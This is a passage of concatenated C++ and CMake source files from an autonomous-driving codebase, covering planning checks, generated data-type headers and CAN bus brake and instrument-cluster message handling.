AdapterManager::PublishPlanning(adc_trajectory_pb); // record in history auto* history = History::Instance(); history->Add(adc_trajectory_pb); // } } void Planning::CheckParkingSpace(){ // ParkingSpaceInfoConstPtr target_parking_spot_ptr; const hdmap::HDMap* hdmap = hdmap::HDMapUtil::BaseMapPtr(); // TODO(Jinyun) parking overlap s are wrong on map, not usable // target_area_center_s = // (parking_overlap.start_s + parking_overlap.end_s) / 2.0; hdmap::Id id; std::string park_id = FLAGS_test_parkingspace_id; //std::string park_id = "1262"; id.set_id(park_id); //金融厂区地图 //Vec2d right_top_point = (hdmap->GetParkingSpaceById(id))->polygon().points().at(1); //晶众厂区地图 Vec2d right_top_point = (hdmap->GetParkingSpaceById(id))->polygon().points().at(3); AERROR << "Find ParkingSpace"; // Vec2d left_bottom_point = // target_parking_spot_ptr->polygon().points().at(0); double distance = ((right_top_point.x() - localization_.pose().position().x())*(right_top_point.x() - localization_.pose().position().x())) + ((right_top_point.y() - localization_.pose().position().y())*(right_top_point.y() - localization_.pose().position().y())); if(distance < 1000){ local_view_.parkingspace_id = park_id; }else{ AERROR << "ParkingSpace too far"; } } //检查是否需要再routing void Planning::CheckRerouting() { // if(!local_view_.parkingspace){ // if(!common::util::IsProtoEqual(local_view_.parkingspace, parkingspace_)){ // local_parkingspace = local_view_.parkingspace; // //不能发布车位,还需要修改 // AdapterManager::FillPlanningHeader(Name(), &parkingspace_); // AdapterManager::PublishRoutingRequest(parkingspace_); // } // } // auto* rerouting = PlanningContext::Instance() // ->mutable_planning_status() // ->mutable_rerouting(); // if (!routing->need_rerouting()) { // return; // } //common::util::FillHeader(Name(), routing->mutable_routing_request()); // rerouting->set_need_rerouting(false); // rerouting_writer_->Write(rerouting->routing_request()); } bool Planning::CheckInput() { ADCTrajectory trajectory_pb; auto* not_ready = trajectory_pb.mutable_decision() ->mutable_main_decision() ->mutable_not_ready(); if (local_view_.localization_estimate == nullptr) { not_ready->set_reason("localization not ready"); } else if (local_view_.chassis == nullptr) { not_ready->set_reason("chassis not ready"); } else if (HDMapUtil::BaseMapPtr() == nullptr) { not_ready->set_reason("map not ready"); } else { // nothing } if (FLAGS_use_navigation_mode) { // if (!local_view_.relative_map->has_header()) { // not_ready->set_reason("relative map not ready"); // } } else { if (!local_view_.routing->has_header()) { not_ready->set_reason("routing not ready"); } } if (not_ready->has_reason()) { AERROR << not_ready->reason() << "; skip the planning cycle."; AdapterManager::FillPlanningHeader(Name(), &trajectory_pb); AdapterManager::PublishPlanning(trajectory_pb); return false; } return true; } void Planning::Stop() { AERROR << "Planning Stop is called"; // PlanningThreadPool::instance()->Stop(); // if (reference_line_provider_) { // reference_line_provider_->Stop(); // } // last_publishable_trajectory_.reset(nullptr); // frame_.reset(nullptr); //planner_base_.reset(nullptr); // FrameHistory::instance()->Clear(); } } // namespace planning } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(lattice_trajectory1d lattice_trajectory1d.cc lattice_trajectory1d.h) target_link_libraries(lattice_trajectory1d log /modules/planning/math/curve1d) add_library(end_condition_sampler end_condition_sampler.cc end_condition_sampler.h) target_link_libraries(end_condition_sampler vehicle_config_helper planning_gflags /modules/planning/lattice/behavior:feasible_region /modules/planning/lattice/behavior:path_time_graph /modules/planning/lattice/behavior:prediction_querier lattice_structure_proto) add_library(trajectory1d_generator trajectory1d_generator.cc trajectory1d_generator.h) target_link_libraries(trajectory1d_generator end_condition_sampler lateral_osqp_optimizer lateral_qp_optimizer planning_gflags constant_deceleration_trajectory1d piecewise_acceleration_trajectory1d piecewise_trajectory1d standing_still_trajectory1d /modules/planning/lattice/behavior:path_time_graph /modules/planning/lattice/behavior:prediction_querier /modules/planning/lattice/trajectory_generation:lattice_trajectory1d /modules/planning/math/curve1d:quartic_polynomial_curve1d /modules/planning/math/curve1d:quintic_polynomial_curve1d lattice_sampling_config_proto lattice_structure_proto) add_library(trajectory_evaluator trajectory_evaluator.cc trajectory_evaluator.h) target_link_libraries(trajectory_evaluator path_matcher planning_gflags piecewise_acceleration_trajectory1d /modules/planning/constraint_checker:constraint_checker1d /modules/planning/lattice/behavior:path_time_graph /modules/planning/lattice/trajectory_generation:piecewise_braking_trajectory_generator /modules/planning/math/curve1d lattice_sampling_config_proto) add_library(backup_trajectory_generator backup_trajectory_generator.cc backup_trajectory_generator.h) target_link_libraries(backup_trajectory_generator planning_gflags discretized_trajectory constant_deceleration_trajectory1d /modules/planning/constraint_checker:collision_checker /modules/planning/lattice/trajectory_generation:trajectory1d_generator /modules/planning/lattice/trajectory_generation:trajectory_combiner /modules/planning/math/curve1d) add_library(trajectory_combiner trajectory_combiner.cc trajectory_combiner.h) target_link_libraries(trajectory_combiner cartesian_frenet_conversion path_matcher planning_gflags discretized_trajectory /modules/planning/math/curve1d) add_library(piecewise_braking_trajectory_generator piecewise_braking_trajectory_generator.cc piecewise_braking_trajectory_generator.h) target_link_libraries(piecewise_braking_trajectory_generator piecewise_acceleration_trajectory1d /modules/planning/math/curve1d) add_library(lateral_qp_optimizer lateral_qp_optimizer.cc lateral_qp_optimizer.h) target_link_libraries(lateral_qp_optimizer /modules/common/util piecewise_jerk_trajectory1d) add_library(lateral_osqp_optimizer lateral_osqp_optimizer.cc lateral_osqp_optimizer.h) target_link_libraries(lateral_osqp_optimizer lateral_qp_optimizer log piecewise_jerk_trajectory1d eigen osqp) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_gaussianinfo_h #define impl_type_gaussianinfo_h #include "impl_type_double.h" struct GaussianInfo { ::Double sigma_x; ::Double sigma_y; ::Double correlation; ::Double area_probability; ::Double ellipse_a; ::Double ellipse_b; ::Double theta_a; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(sigma_x); fun(sigma_y); fun(correlation); fun(area_probability); fun(ellipse_a); fun(ellipse_b); fun(theta_a); } template<typename F> void enumerate(F& fun) const { fun(sigma_x); fun(sigma_y); fun(correlation); fun(area_probability); fun(ellipse_a); fun(ellipse_b); fun(theta_a); } bool operator == (const ::GaussianInfo& t) const { return (sigma_x == t.sigma_x) && (sigma_y == t.sigma_y) && (correlation == t.correlation) && (area_probability == t.area_probability) && (ellipse_a == t.ellipse_a) && (ellipse_b == t.ellipse_b) && (theta_a == t.theta_a); } }; #endif // impl_type_gaussianinfo_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/adu_controlbrake_0x110_110.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; const int32_t Aducontrolbrake0x110110::ID = 0x110; // public Aducontrolbrake0x110110::Aducontrolbrake0x110110() { Reset(); } uint32_t Aducontrolbrake0x110110::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Aducontrolbrake0x110110::UpdateData(uint8_t* data) { set_p_ic_rolling_counter_0x110(data, ic_rolling_counter_0x110_); set_p_adu_tgt_deceleration(data, adu_tgt_deceleration_); set_p_adu_brktmcposition_req(data, adu_brktmcposition_req_); set_p_adu_parkrelease_req(data, adu_parkrelease_req_); set_p_adu_controbrk_standstill(data, adu_controbrk_standstill_); set_p_adu_controbrk_enable(data, adu_controbrk_enable_); set_p_adu_mastercylinderpressreq(data, adu_mastercylinderpressreq_); set_p_ic_checksum_0x110(data, ic_checksum_0x110_); } void Aducontrolbrake0x110110::Reset() { // TODO you should check this manually ic_checksum_0x110_ = 0; ic_rolling_counter_0x110_ = 0; adu_tgt_deceleration_ = 0.0; adu_brktmcposition_req_ = 0.0; adu_parkrelease_req_ = Adu_controlbrake_0x110_110::ADU_PARKRELEASE_REQ_NO_CONTROL; adu_controbrk_standstill_ = Adu_controlbrake_0x110_110::ADU_CONTROBRK_STANDSTILL_NOT_STANDSTILL; adu_controbrk_enable_ = Adu_controlbrake_0x110_110::ADU_CONTROBRK_ENABLE_DISABLE; adu_mastercylinderpressreq_ = 0; } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_ic_checksum_0x110( int ic_checksum_0x110) { ic_checksum_0x110_ = ic_checksum_0x110; return this; } // config detail: {'name': 'IC_Checksum_0x110', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Aducontrolbrake0x110110::set_p_ic_checksum_0x110(uint8_t* data, int ic_checksum_0x110) { ic_checksum_0x110 = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); ic_checksum_0x110 = ProtocolData::BoundedValue(0, 255, ic_checksum_0x110); int x = ic_checksum_0x110; Byte to_set(data + 7); to_set.set_value(x, 0, 8); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_ic_rolling_counter_0x110( int ic_rolling_counter_0x110) { ic_rolling_counter_0x110_ = ic_rolling_counter_0x110; return this; } // config detail: {'name': 'IC_Rolling_counter_0x110', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Aducontrolbrake0x110110::set_p_ic_rolling_counter_0x110(uint8_t* data, int ic_rolling_counter_0x110) { ic_rolling_counter_0x110 = ProtocolData::BoundedValue(0, 15, ic_rolling_counter_0x110); int x = ic_rolling_counter_0x110; Byte to_set(data + 6); to_set.set_value(x, 0, 4); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_adu_tgt_deceleration( double adu_tgt_deceleration) { adu_tgt_deceleration_ = adu_tgt_deceleration; return this; } // config detail: {'name': 'ADU_Tgt_Deceleration', 'offset': 0.0, 'precision': 0.00159276, 'len': 12, 'is_signed_var': True, 'physical_range': '[0|0]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': 'g'} void Aducontrolbrake0x110110::set_p_adu_tgt_deceleration(uint8_t* data, double adu_tgt_deceleration) { adu_tgt_deceleration = ProtocolData::BoundedValue(0.0, 0.0, adu_tgt_deceleration); int x = adu_tgt_deceleration / 0.001593; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 6); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 5); to_set1.set_value(t, 0, 8); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_adu_brktmcposition_req( double adu_brktmcposition_req) { adu_brktmcposition_req_ = adu_brktmcposition_req; return this; } // config detail: {'name': 'ADU_BrkTMCPosition_Req', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} void Aducontrolbrake0x110110::set_p_adu_brktmcposition_req(uint8_t* data, double adu_brktmcposition_req) { adu_brktmcposition_req = ProtocolData::BoundedValue(0.0, 100.0, adu_brktmcposition_req); int x = adu_brktmcposition_req / 0.100000; uint8_t t = 0; t = x & 0x3; Byte to_set0(data + 4); to_set0.set_value(t, 6, 2); x >>= 2; t = x & 0xFF; Byte to_set1(data + 3); to_set1.set_value(t, 0, 8); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_adu_parkrelease_req( Adu_controlbrake_0x110_110::Adu_parkrelease_reqType adu_parkrelease_req) { adu_parkrelease_req_ = adu_parkrelease_req; return this; } // config detail: {'name': 'ADU_ParkRelease_Req', 'enum': {0: 'ADU_PARKRELEASE_REQ_NO_CONTROL', 1: 'ADU_PARKRELEASE_REQ_RELEASE', 2: 'ADU_PARKRELEASE_REQ_PARK', 3: 'ADU_PARKRELEASE_REQ_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontrolbrake0x110110::set_p_adu_parkrelease_req(uint8_t* data, Adu_controlbrake_0x110_110::Adu_parkrelease_reqType adu_parkrelease_req) { int x = adu_parkrelease_req; Byte to_set(data + 2); to_set.set_value(x, 6, 2); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_adu_controbrk_standstill( Adu_controlbrake_0x110_110::Adu_controbrk_standstillType adu_controbrk_standstill) { adu_controbrk_standstill_ = adu_controbrk_standstill; return this; } // config detail: {'name': 'ADU_ControBrk_StandStill', 'enum': {0: 'ADU_CONTROBRK_STANDSTILL_NOT_STANDSTILL', 1: 'ADU_CONTROBRK_STANDSTILL_STANDSTILL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontrolbrake0x110110::set_p_adu_controbrk_standstill(uint8_t* data, Adu_controlbrake_0x110_110::Adu_controbrk_standstillType adu_controbrk_standstill) { int x = adu_controbrk_standstill; Byte to_set(data + 2); to_set.set_value(x, 4, 1); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_adu_controbrk_enable( Adu_controlbrake_0x110_110::Adu_controbrk_enableType adu_controbrk_enable) { adu_controbrk_enable_ = adu_controbrk_enable; return this; } // config detail: {'name': 'ADU_ControBrk_Enable', 'enum': {0: 'ADU_CONTROBRK_ENABLE_DISABLE', 1: 'ADU_CONTROBRK_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontrolbrake0x110110::set_p_adu_controbrk_enable(uint8_t* data, Adu_controlbrake_0x110_110::Adu_controbrk_enableType adu_controbrk_enable) { int x = adu_controbrk_enable; Byte to_set(data + 2); to_set.set_value(x, 5, 1); } Aducontrolbrake0x110110* Aducontrolbrake0x110110::set_adu_mastercylinderpressreq( int adu_mastercylinderpressreq) { adu_mastercylinderpressreq_ = adu_mastercylinderpressreq; return this; } // config detail: {'name': 'ADU_MasterCylinderPressReq', 'offset': 0.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|32000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'kpa'} void Aducontrolbrake0x110110::set_p_adu_mastercylinderpressreq(uint8_t* data, int adu_mastercylinderpressreq) { adu_mastercylinderpressreq = ProtocolData::BoundedValue(0, 32000, adu_mastercylinderpressreq); int x = adu_mastercylinderpressreq; uint8_t t = 0; t = x & 0x7F; Byte to_set0(data + 1); to_set0.set_value(t, 1, 7); x >>= 7; t = x & 0xFF; Byte to_set1(data + 0); to_set1.set_value(t, 0, 8); } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(speed_bounds_decider speed_bounds_decider.cc speed_bounds_decider.h) target_link_libraries(speed_bounds_decider st_boundary_mapper /modules/common/status frame planning_gflags st_graph_data common_lib /modules/planning/tasks:task /modules/planning/tasks/deciders:decider_base /modules/planning/tasks/deciders/lane_change_decider) add_library(st_boundary_mapper speed_limit_decider.cc st_boundary_mapper.cc speed_limit_decider.h st_boundary_mapper.h) target_link_libraries(st_boundary_mapper vehicle_config_helper vehicle_config_proto pnc_point_proto /modules/common/status /modules/map/pnc_map /modules/map/proto:map_proto frame obstacle path_decision planning_gflags speed_limit discretized_path frenet_frame_path path_data st_boundary discretized_trajectory planning_config_proto planning_proto speed_bounds_decider_config_proto /modules/planning/reference_line) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_wheelspeed_h #define impl_type_wheelspeed_h #include "impl_type_double.h" #include "impl_type_wheelspeedtype.h" #include "impl_type_bool.h" struct WheelSpeed { ::Bool is_wheel_spd_rr_valid; ::WheelSpeedType wheel_direction_rr; ::Double wheel_spd_rr; ::Bool is_wheel_spd_rl_valid; ::WheelSpeedType wheel_direction_rl; ::Double wheel_spd_rl; ::Bool is_wheel_spd_fr_valid; ::WheelSpeedType wheel_direction_fr; ::Double wheel_spd_fr; ::Bool is_wheel_spd_fl_valid; ::WheelSpeedType wheel_direction_fl; ::Double wheel_spd_fl; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(is_wheel_spd_rr_valid); fun(wheel_direction_rr); fun(wheel_spd_rr); fun(is_wheel_spd_rl_valid); fun(wheel_direction_rl); fun(wheel_spd_rl); fun(is_wheel_spd_fr_valid); fun(wheel_direction_fr); fun(wheel_spd_fr); fun(is_wheel_spd_fl_valid); fun(wheel_direction_fl); fun(wheel_spd_fl); } template<typename F> void enumerate(F& fun) const { fun(is_wheel_spd_rr_valid); fun(wheel_direction_rr); fun(wheel_spd_rr); fun(is_wheel_spd_rl_valid); fun(wheel_direction_rl); fun(wheel_spd_rl); fun(is_wheel_spd_fr_valid); fun(wheel_direction_fr); fun(wheel_spd_fr); fun(is_wheel_spd_fl_valid); fun(wheel_direction_fl); fun(wheel_spd_fl); } bool operator == (const ::WheelSpeed& t) const { return (is_wheel_spd_rr_valid == t.is_wheel_spd_rr_valid) && (wheel_direction_rr == t.wheel_direction_rr) && (wheel_spd_rr == t.wheel_spd_rr) && (is_wheel_spd_rl_valid == t.is_wheel_spd_rl_valid) && (wheel_direction_rl == t.wheel_direction_rl) && (wheel_spd_rl == t.wheel_spd_rl) && (is_wheel_spd_fr_valid == t.is_wheel_spd_fr_valid) && (wheel_direction_fr == t.wheel_direction_fr) && (wheel_spd_fr == t.wheel_spd_fr) && (is_wheel_spd_fl_valid == t.is_wheel_spd_fl_valid) && (wheel_direction_fl == t.wheel_direction_fl) && (wheel_spd_fl == t.wheel_spd_fl); } }; #endif // impl_type_wheelspeed_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(localization_common localization_gflags.cc localization_gflags.h) target_link_libraries(localization_common gflags)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_IC_0X510_510_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_IC_0X510_510_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwic0x510510 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwic0x510510(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'IC_AirbagTelltaleBehavior', 'enum': {0: 'IC_AIRBAGTELLTALEBEHAVIOR_NO_FAILURE_IN_LAMP_AND_LAMP_IS_OFF', 1: 'IC_AIRBAGTELLTALEBEHAVIOR_FAILURE_IN_LAMP', 2: 'IC_AIRBAGTELLTALEBEHAVIOR_NO_FAILURE_IN_THE_LAMP_LAMP_IS_ON', 3: 'IC_AIRBAGTELLTALEBEHAVIOR_NO_FAILURE_IN_THE_LAMP_LAMP_IS_BLINKING', 4: 'IC_AIRBAGTELLTALEBEHAVIOR_AIRBAGFAILSTS_SIGNAL_NOT_RECEIVED', 5: 'IC_AIRBAGTELLTALEBEHAVIOR_INVALID', 6: 'IC_AIRBAGTELLTALEBEHAVIOR_INVALID', 7: 'IC_AIRBAGTELLTALEBEHAVIOR_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_airbagtelltalebehaviorType ic_airbagtelltalebehavior(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_VehBrkPump_ERR_IC', 'enum': {0: 'IC_VEHBRKPUMP_ERR_IC_NORMAL', 1: 'IC_VEHBRKPUMP_ERR_IC_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_vehbrkpump_err_icType ic_vehbrkpump_err_ic(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_DISFail', 'enum': {0: 'IC_DISFAIL_NO_ERROR', 1: 'IC_DISFAIL_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_disfailType ic_disfail(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_QDashACCFail', 'enum': {0: 'IC_QDASHACCFAIL_NO_ERROR', 1: 'IC_QDASHACCFAIL_REVERSIBLE_ERROR', 2: 'IC_QDASHACCFAIL_IRREVERSIBLE_ERROR', 3: 'IC_QDASHACCFAIL_NOT_DEFINED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_qdashaccfailType ic_qdashaccfail(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_VehSpd_HMI', 'enum': {511: 'IC_VEHSPD_HMI_INVALID'}, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|500]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} int ic_vehspd_hmi(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_Rolling_counter_0x510', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int ic_rolling_counter_0x510(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_Checksum_0x510', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int ic_checksum_0x510(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IC_OdometerMasterValue', 'enum': {16777215: 'IC_ODOMETERMASTERVALUE_INVALID'}, 'precision': 0.1, 'len': 24, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|999999]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'km'} double ic_odometermastervalue(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_IC_0X510_510_H_ <file_sep>/* Copyright 2017 The JmcAuto Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "modules/canbus/vehicle/teshun/teshun_message_manager.h" #include "modules/canbus/vehicle/teshun/protocol/adu_bodycontrol_0x333_333.h" #include "modules/canbus/vehicle/teshun/protocol/adu_controlbrake_0x110_110.h" #include "modules/canbus/vehicle/teshun/protocol/adu_controldrive_0x120_120.h" #include "modules/canbus/vehicle/teshun/protocol/adu_controleps2_0x100_100.h" #include "modules/canbus/vehicle/teshun/protocol/bcm_bodysts_0x344_344.h" #include "modules/canbus/vehicle/teshun/protocol/bcm_door_0x310_310.h" #include "modules/canbus/vehicle/teshun/protocol/epb_status_0x152_152.h" #include "modules/canbus/vehicle/teshun/protocol/eps2_status_0x112_112.h" #include "modules/canbus/vehicle/teshun/protocol/gw_abs_0x211_211.h" #include "modules/canbus/vehicle/teshun/protocol/gw_abs_sts_0x221_221.h" #include "modules/canbus/vehicle/teshun/protocol/gw_bms_display_0x323_323.h" #include "modules/canbus/vehicle/teshun/protocol/gw_bms_sts_0x181_181.h" #include "modules/canbus/vehicle/teshun/protocol/gw_mcu_output_0x225_225.h" #include "modules/canbus/vehicle/teshun/protocol/gw_mcu_power_0x226_226.h" #include "modules/canbus/vehicle/teshun/protocol/gw_scu_shiftersts_0xc8_c8.h" #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_control2_0x131_131.h" #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_control_0x185_185.h" #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_drivests_0x10a_10a.h" #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_hmi_0x358_358.h" #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_sts_0x218_218.h" #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_whltq_0x107_107.h" #include "modules/canbus/vehicle/teshun/protocol/ibc_status2_0x124_124.h" #include "modules/canbus/vehicle/teshun/protocol/ibc_status_0x122_122.h" namespace jmc_auto { namespace canbus { namespace teshun { TeshunMessageManager::TeshunMessageManager() { // Control Messages AddSendProtocolData<Adubodycontrol0x333333, true>(); AddSendProtocolData<Aducontrolbrake0x110110, true>(); AddSendProtocolData<Aducontroldrive0x120120, true>(); AddSendProtocolData<Aducontroleps20x100100, true>(); // Report Messages AddRecvProtocolData<Bcmbodysts0x344344, true>(); AddRecvProtocolData<Bcmdoor0x310310, true>(); AddRecvProtocolData<Epbstatus0x152152, true>(); AddRecvProtocolData<Eps2status0x112112, true>(); AddRecvProtocolData<Gwabs0x211211, true>(); AddRecvProtocolData<Gwabssts0x221221, true>(); AddRecvProtocolData<Gwbmsdisplay0x323323, true>(); AddRecvProtocolData<Gwbmssts0x181181, true>(); AddRecvProtocolData<Gwmcuoutput0x225225, true>(); AddRecvProtocolData<Gwmcupower0x226226, true>(); AddRecvProtocolData<Gwscushiftersts0xc8c8, true>(); AddRecvProtocolData<Gwvcucontrol0x185185, true>(); AddRecvProtocolData<Gwvcucontrol20x131131, true>(); AddRecvProtocolData<Gwvcudrivests0x10a10a, true>(); AddRecvProtocolData<Gwvcuhmi0x358358, true>(); AddRecvProtocolData<Gwvcusts0x218218, true>(); AddRecvProtocolData<Gwvcuwhltq0x107107, true>(); AddRecvProtocolData<Ibcstatus0x122122, true>(); AddRecvProtocolData<Ibcstatus20x124124, true>(); } TeshunMessageManager::~TeshunMessageManager() {} } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_WHLTQ_0X107_107_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_WHLTQ_0X107_107_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwemswhltq0x107107 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwemswhltq0x107107(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'MinIndicatedTorqWhl', 'enum': {65535: 'MININDICATEDTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int minindicatedtorqwhl(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_AccRAWPedalRatio', 'enum': {255: 'EMS_ACCRAWPEDALRATIO_INVALID'}, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|99.9998]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} double ems_accrawpedalratio(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_AccPedalRatio', 'enum': {255: 'EMS_ACCPEDALRATIO_INVALID'}, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|99.9998]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': '%'} double ems_accpedalratio(const std::uint8_t* 